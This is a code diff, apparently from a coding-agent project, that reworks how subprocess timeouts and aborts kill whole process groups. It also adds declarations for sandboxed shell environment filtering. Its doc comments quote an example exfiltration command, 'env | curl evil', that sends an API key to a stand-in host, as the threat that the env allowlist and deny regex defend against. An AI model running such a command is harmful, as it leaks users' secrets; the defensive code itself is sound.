|
84
|
+
resolveMs: elapsedMs(resolveStartedAt),
|
|
85
|
+
detached: true,
|
|
86
|
+
});
|
|
77
87
|
}
|
|
78
|
-
function runLifecycle({ file, args, opts, cleanup }) {
|
|
88
|
+
function runLifecycle({ file, args, opts, cleanup, resolveMs, detached }) {
|
|
79
89
|
const maxBytes = opts.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;
|
|
80
90
|
const abortGrace = opts.ioDrainGraceMs ?? DEFAULT_IO_DRAIN_GRACE_MS;
|
|
91
|
+
const lifecycleStartedAt = spawnProfileEnabled() ? performance.now() : 0;
|
|
81
92
|
// Pre-spawn abort: don't pay spawn cost.
|
|
82
93
|
if (opts.signal?.aborted) {
|
|
83
94
|
safeCleanup(cleanup);
|
|
@@ -85,10 +96,20 @@ function runLifecycle({ file, args, opts, cleanup }) {
|
|
|
85
96
|
}
|
|
86
97
|
return new Promise((resolve) => {
|
|
87
98
|
let settled = false;
|
|
99
|
+
// Declared before finish() so the spawn-failed early-return (which calls
|
|
100
|
+
// finish before these are assigned) doesn't hit a TDZ reference.
|
|
101
|
+
let timer;
|
|
102
|
+
let settleTimer;
|
|
103
|
+
let onAbort;
|
|
88
104
|
const finish = (result) => {
|
|
89
105
|
if (settled)
|
|
90
106
|
return;
|
|
91
107
|
settled = true;
|
|
108
|
+
if (timer)
|
|
109
|
+
clearTimeout(timer);
|
|
110
|
+
if (settleTimer)
|
|
111
|
+
clearTimeout(settleTimer);
|
|
112
|
+
logSpawnProfile(file, args, resolveMs, elapsedMs(lifecycleStartedAt), result.reason);
|
|
92
113
|
// Always release backend-allocated resources, regardless of exit path.
|
|
93
114
|
// cleanup is best-effort — see seatbelt backend for rationale.
|
|
94
115
|
safeCleanup(cleanup);
|
|
@@ -101,7 +122,7 @@ function runLifecycle({ file, args, opts, cleanup }) {
|
|
|
101
122
|
};
|
|
102
123
|
let child;
|
|
103
124
|
try {
|
|
104
|
-
child = spawn(file, args, { cwd: opts.cwd, env: opts.env });
|
|
125
|
+
child = spawn(file, args, { cwd: opts.cwd, env: opts.env, detached });
|
|
105
126
|
}
|
|
106
127
|
catch (err) {
|
|
107
128
|
finish(emptyResult({ reason: "spawn_failed", spawnFailed: true, error: err.message }));
|
|
@@ -115,36 +136,63 @@ function runLifecycle({ file, args, opts, cleanup }) {
|
|
|
115
136
|
let stderrTruncated = false;
|
|
116
137
|
let timedOut = false;
|
|
117
138
|
let aborted = false;
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
139
|
+
let lastExitCode = null;
|
|
140
|
+
let lastExitSignal = null;
|
|
141
|
+
// Terminate the child on timeout/abort. When detached (shell mode) the
|
|
142
|
+
// child leads its own process group, so kill the WHOLE group — this reaps
|
|
143
|
+
// backgrounded grandchildren (`pytest &`, `sh → npm → node`) that a bare
|
|
144
|
+
// child.kill() would orphan. After the kill, arm a settle deadline:
|
|
145
|
+
// Node's `close` waits for every inherited stdio pipe to close, and an
|
|
146
|
+
// orphaned grandchild can hold stdout open forever, so `close` may never
|
|
147
|
+
// fire. Force a resolve via the last-seen `exit` code once the kill grace
|
|
148
|
+
// has elapsed — the promise must never hang past terminate().
|
|
149
|
+
const terminate = (graceMs) => {
|
|
150
|
+
if (detached && typeof child.pid === "number") {
|
|
151
|
+
void killProcessGroup(child.pid, { graceMs });
|
|
122
152
|
}
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
153
|
+
else {
|
|
154
|
+
killChildTree(child, graceMs);
|
|
155
|
+
}
|
|
156
|
+
if (settleTimer)
|
|
157
|
+
return;
|
|
158
|
+
settleTimer = setTimeout(() => {
|
|
159
|
+
finishFromExit();
|
|
160
|
+
}, graceMs + 500);
|
|
161
|
+
settleTimer.unref?.();
|
|
162
|
+
};
|
|
163
|
+
timer = setTimeout(() => {
|
|
164
|
+
timedOut = true;
|
|
165
|
+
terminate(TIMEOUT_SIGKILL_GRACE_MS);
|
|
130
166
|
}, opts.timeoutMs);
|
|
131
|
-
let onAbort;
|
|
132
167
|
if (opts.signal) {
|
|
133
168
|
onAbort = () => {
|
|
134
169
|
aborted = true;
|
|
135
|
-
|
|
136
|
-
child.kill("SIGTERM");
|
|
137
|
-
}
|
|
138
|
-
catch { /* may already be dead */ }
|
|
139
|
-
setTimeout(() => {
|
|
140
|
-
try {
|
|
141
|
-
child.kill("SIGKILL");
|
|
142
|
-
}
|
|
143
|
-
catch { /* ignore */ }
|
|
144
|
-
}, abortGrace).unref();
|
|
170
|
+
terminate(abortGrace);
|
|
145
171
|
};
|
|
146
172
|
opts.signal.addEventListener("abort", onAbort, { once: true });
|
|
147
173
|
}
|
|
174
|
+
// Fallback finish when `close` never arrives because a killed process's
|
|
175
|
+
// orphaned grandchild still holds a stdio pipe. Uses whatever `exit` code
|
|
176
|
+
// we saw (exit fires when the direct child dies, independent of stdio).
|
|
177
|
+
const finishFromExit = () => {
|
|
178
|
+
const reason = timedOut ? "timeout" : aborted ? "aborted" : "ok";
|
|
179
|
+
finish({
|
|
180
|
+
reason,
|
|
181
|
+
stdout,
|
|
182
|
+
stderr,
|
|
183
|
+
exitCode: lastExitCode,
|
|
184
|
+
signal: lastExitSignal,
|
|
185
|
+
stdoutTruncated,
|
|
186
|
+
stderrTruncated,
|
|
187
|
+
timedOut,
|
|
188
|
+
aborted,
|
|
189
|
+
spawnFailed: false,
|
|
190
|
+
});
|
|
191
|
+
};
|
|
192
|
+
child.on("exit", (code, sig) => {
|
|
193
|
+
lastExitCode = code;
|
|
194
|
+
lastExitSignal = sig;
|
|
195
|
+
});
|
|
148
196
|
child.stdout?.on("data", (chunk) => {
|
|
149
197
|
if (stdoutTruncated)
|
|
150
198
|
return;
|
|
@@ -240,6 +288,17 @@ function runLifecycle({ file, args, opts, cleanup }) {
|
|
|
240
288
|
});
|
|
241
289
|
});
|
|
242
290
|
}
|
|
291
|
+
function spawnProfileEnabled() {
|
|
292
|
+
return process.env.CODESHELL_SPAWN_PROFILE === "1";
|
|
293
|
+
}
|
|
294
|
+
function elapsedMs(startedAt) {
|
|
295
|
+
return startedAt > 0 ? Math.round(performance.now() - startedAt) : undefined;
|
|
296
|
+
}
|
|
297
|
+
function logSpawnProfile(file, args, resolveMs, lifecycleMs, reason) {
|
|
298
|
+
if (!spawnProfileEnabled())
|
|
299
|
+
return;
|
|
300
|
+
console.error(`[spawn-profile] shell=${JSON.stringify(file)} flag=${JSON.stringify(args[0] ?? "")} resolveMs=${resolveMs ?? "n/a"} lifecycleMs=${lifecycleMs ?? "n/a"} reason=${reason}`);
|
|
301
|
+
}
|
|
243
302
|
function safeCleanup(cleanup) {
|
|
244
303
|
if (!cleanup)
|
|
245
304
|
return;
|
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
|
|
3
|
+
* and background (BackgroundShellManager) shell execution.
|
|
4
|
+
*
|
|
5
|
+
* Both paths must agree on three things or their security/behavior drifts:
|
|
6
|
+
*
|
|
7
|
+
* 1. How a free-form shell command is turned into an actual (file, args)
|
|
8
|
+
* under the active sandbox backend ({@link resolveSpawnTarget}).
|
|
9
|
+
* 2. Which environment variables are forwarded into a sandboxed shell
|
|
10
|
+
* ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
|
|
11
|
+
* model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
|
|
12
|
+
* `env | curl evil`).
|
|
13
|
+
* 3. How a process is terminated — SIGTERM → grace → SIGKILL. The
|
|
14
|
+
* background path needs this at *process-group* granularity
|
|
15
|
+
* ({@link killProcessGroup}) because `npm run dev` is really
|
|
16
|
+
* `sh → npm → node vite` and killing only the outer `sh` leaks the
|
|
17
|
+
* vite child that holds the port (design §难点2).
|
|
18
|
+
*
|
|
19
|
+
* safeSpawnShell keeps its own single-process kill cascade (it does not
|
|
20
|
+
* spawn detached, so there's no separate process group to reap); it shares
|
|
21
|
+
* (1) and (2) here. The background manager uses all three.
|
|
22
|
+
*/
|
|
23
|
+
import type { SandboxBackend } from "../tool-system/sandbox/index.js";
|
|
24
|
+
/**
|
|
25
|
+
* Env vars that are always safe to forward into a sandboxed shell. Mirrors
|
|
26
|
+
* the allowlist that previously lived in bash.ts — kept here so foreground
|
|
27
|
+
* and background shells share one source of truth. The `off` backend keeps
|
|
28
|
+
* the historical full-passthrough behavior (the user opted out of sandboxing)
|
|
29
|
+
* and does NOT call this.
|
|
30
|
+
*/
|
|
31
|
+
export declare const ENV_ALLOWLIST: ReadonlySet<string>;
|
|
32
|
+
/**
|
|
33
|
+
* Names matching these patterns are dropped even if they appear in the
|
|
34
|
+
* allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
|
|
35
|
+
* leak just because it starts with `PATH`). Case-insensitive on the full name.
|
|
36
|
+
*/
|
|
37
|
+
export declare const ENV_DENY_REGEX: RegExp;
|
|
38
|
+
/**
|
|
39
|
+
* Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
|
|
40
|
+
* `source` defaults to `process.env` so callers usually omit it; tests pass
|
|
41
|
+
* a fixed object.
|
|
42
|
+
*/
|
|
43
|
+
export declare function buildSandboxEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
|
|
44
|
+
/**
|
|
45
|
+
* Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
|
|
46
|
+
* explicitly configured in `.code-shell/settings.json`) on top of a base
|
|
47
|
+
* shell env.
|
|
48
|
+
*
|
|
49
|
+
* Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
|
|
50
|
+
* the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
|
|
51
|
+
* a project-scoped `API_BASE`), so honoring them is the whole point. The
|
|
52
|
+
* allowlist/deny machinery exists to stop a tainted model from exfiltrating
|
|
53
|
+
* the *host's* secrets via `env | curl`; values the user typed into project
|
|
54
|
+
* settings are a different trust class.
|
|
55
|
+
*
|
|
56
|
+
* Returns the base unchanged when `projectEnv` is empty/undefined, so the
|
|
57
|
+
* caller can pass it through unconditionally with zero behavior change for
|
|
58
|
+
* projects that don't configure one. `undefined` values in `projectEnv` are
|
|
59
|
+
* skipped (they'd otherwise stringify to "undefined").
|
|
60
|
+
*/
|
|
61
|
+
export declare function mergeShellEnv(base: NodeJS.ProcessEnv, projectEnv: Record<string, string> | undefined): NodeJS.ProcessEnv;
|
|
62
|
+
export interface SpawnTarget {
|
|
63
|
+
file: string;
|
|
64
|
+
args: string[];
|
|
65
|
+
/** Backend-allocated resource cleanup (e.g. seatbelt temp profile). */
|
|
66
|
+
cleanup?: () => void;
|
|
67
|
+
}
|
|
68
|
+
/**
|
|
69
|
+
* Resolve the shell binary + the (file, args) needed to run a free-form
|
|
70
|
+
* `command` string through it, per platform. Centralizes the POSIX-vs-Windows
|
|
71
|
+
* shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
|
|
72
|
+
* in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
|
|
73
|
+
*
|
|
74
|
+
* - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
|
|
75
|
+
* - Windows: `<explicit shell ?? Git Bash ?? PowerShell ?? ComSpec ?? cmd.exe>` with the
|
|
76
|
+
* shell-appropriate flag: Git Bash/POSIX shells use `-c`, PowerShell uses
|
|
77
|
+
* `-Command`, and cmd.exe uses `/c` (`-c` would be taken as a filename and
|
|
78
|
+
* fail/hang). Git Bash is preferred because the Bash tool receives POSIX
|
|
79
|
+
* syntax from the model.
|
|
80
|
+
*
|
|
81
|
+
* `$SHELL` is ignored on Windows — it is virtually never set there, and when
|
|
82
|
+
* it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
|
|
83
|
+
* doesn't exist on the host. An explicit `shell` overrides everything (a user
|
|
84
|
+
* who configured `pwsh`/`bash` knows what they want).
|
|
85
|
+
*/
|
|
86
|
+
export declare function resolveShellInvocation(command: string, shell?: string): {
|
|
87
|
+
file: string;
|
|
88
|
+
args: string[];
|
|
89
|
+
};
|
|
90
|
+
export declare function resolveGitBash(): string | undefined;
|
|
91
|
+
/** Reset the Git Bash probe cache. Test-only (platform is stubbed per test). */
|
|
92
|
+
export declare function _resetGitBashCache(): void;
|
|
93
|
+
export declare function resolvePowerShell(): string | undefined;
|
|
94
|
+
/** Reset the PowerShell probe cache. Test-only (platform is stubbed per test). */
|
|
95
|
+
export declare function _resetPowerShellCache(): void;
|
|
96
|
+
/** The platform's default interactive shell binary, for spawning a bare shell
|
|
97
|
+
* (no `-c`/`/c` command). Windows → Git Bash if present, else PowerShell,
|
|
98
|
+
* else ComSpec/cmd.exe;
|
|
99
|
+
* POSIX → $SHELL/bin/bash. Windows prefers Git Bash so the model's bash-syntax
|
|
100
|
+
* commands actually run (cmd.exe can't). */
|
|
101
|
+
export declare function defaultShellBinary(shell?: string): string;
|
|
102
|
+
/**
|
|
103
|
+
* Resolve the actual (file, args) for a shell `command` under an optional
|
|
104
|
+
* sandbox. With a sandbox, the backend decides (e.g. seatbelt →
|
|
105
|
+
* `sandbox-exec -f profile shell -c command`). Without one, plain
|
|
106
|
+
* `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
|
|
107
|
+
* lifted so the background path produces an identical target.
|
|
108
|
+
*/
|
|
109
|
+
export declare function resolveSpawnTarget(command: string, opts: {
|
|
110
|
+
cwd: string;
|
|
111
|
+
shell: string;
|
|
112
|
+
sandbox?: SandboxBackend;
|
|
113
|
+
}): SpawnTarget;
|
|
114
|
+
/**
|
|
115
|
+
* Terminate a single (non-detached) foreground child + its tree.
|
|
116
|
+
*
|
|
117
|
+
* - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
|
|
118
|
+
* (The child is the process-group leader of its own subtree only if it was
|
|
119
|
+
* spawned with its own group; safe-spawn's foreground children are not, so
|
|
120
|
+
* this kills the direct child — matching the historical behavior.)
|
|
121
|
+
* - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
|
|
122
|
+
* child anyway, leaving grandchildren (e.g. `npm test → node`). Use
|
|
123
|
+
* `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
|
|
124
|
+
*
|
|
125
|
+
* Best-effort: never throws; a child that already exited is fine.
|
|
126
|
+
*/
|
|
127
|
+
export declare function killChildTree(child: {
|
|
128
|
+
pid?: number;
|
|
129
|
+
kill: (sig?: NodeJS.Signals) => boolean;
|
|
130
|
+
}, graceMs: number): void;
|
|
131
|
+
/**
|
|
132
|
+
* Terminate an entire process group, SIGTERM → grace → SIGKILL.
|
|
133
|
+
*
|
|
134
|
+
* Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
|
|
135
|
+
* which requires the leader to have been spawned `detached: true` so its pid
|
|
136
|
+
* is its own pgid. This is the background path's answer to design §难点2:
|
|
137
|
+
* `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
|
|
138
|
+
* one group-level signal reaps the vite child that actually holds the port.
|
|
139
|
+
*
|
|
140
|
+
* Resolves once the group is confirmed gone (or the grace SIGKILL has been
|
|
141
|
+
* sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
|
|
142
|
+
* without throwing.
|
|
143
|
+
*
|
|
144
|
+
* @param pgid The process-group id == the detached leader's pid.
|
|
145
|
+
*/
|
|
146
|
+
export declare function killProcessGroup(pgid: number, opts?: {
|
|
147
|
+
graceMs?: number;
|
|
148
|
+
}): Promise<void>;
|
|
149
|
+
/**
|
|
150
|
+
* True if any process in the group `pgid` is still alive. Signal 0 performs
|
|
151
|
+
* existence/permission checks without delivering a signal; ESRCH means the
|
|
152
|
+
* whole group is gone.
|
|
153
|
+
*
|
|
154
|
+
* Windows has no process groups: probe the leader pid directly (positive,
|
|
155
|
+
* Node supports signal 0 on Windows for an existence check). Children may
|
|
156
|
+
* outlive the leader, but `taskkill /T` already reaps the tree, so a
|
|
157
|
+
* leader-alive probe is the right gate for the win32 kill path.
|
|
158
|
+
*/
|
|
159
|
+
export declare function groupAlive(pgid: number): boolean;
|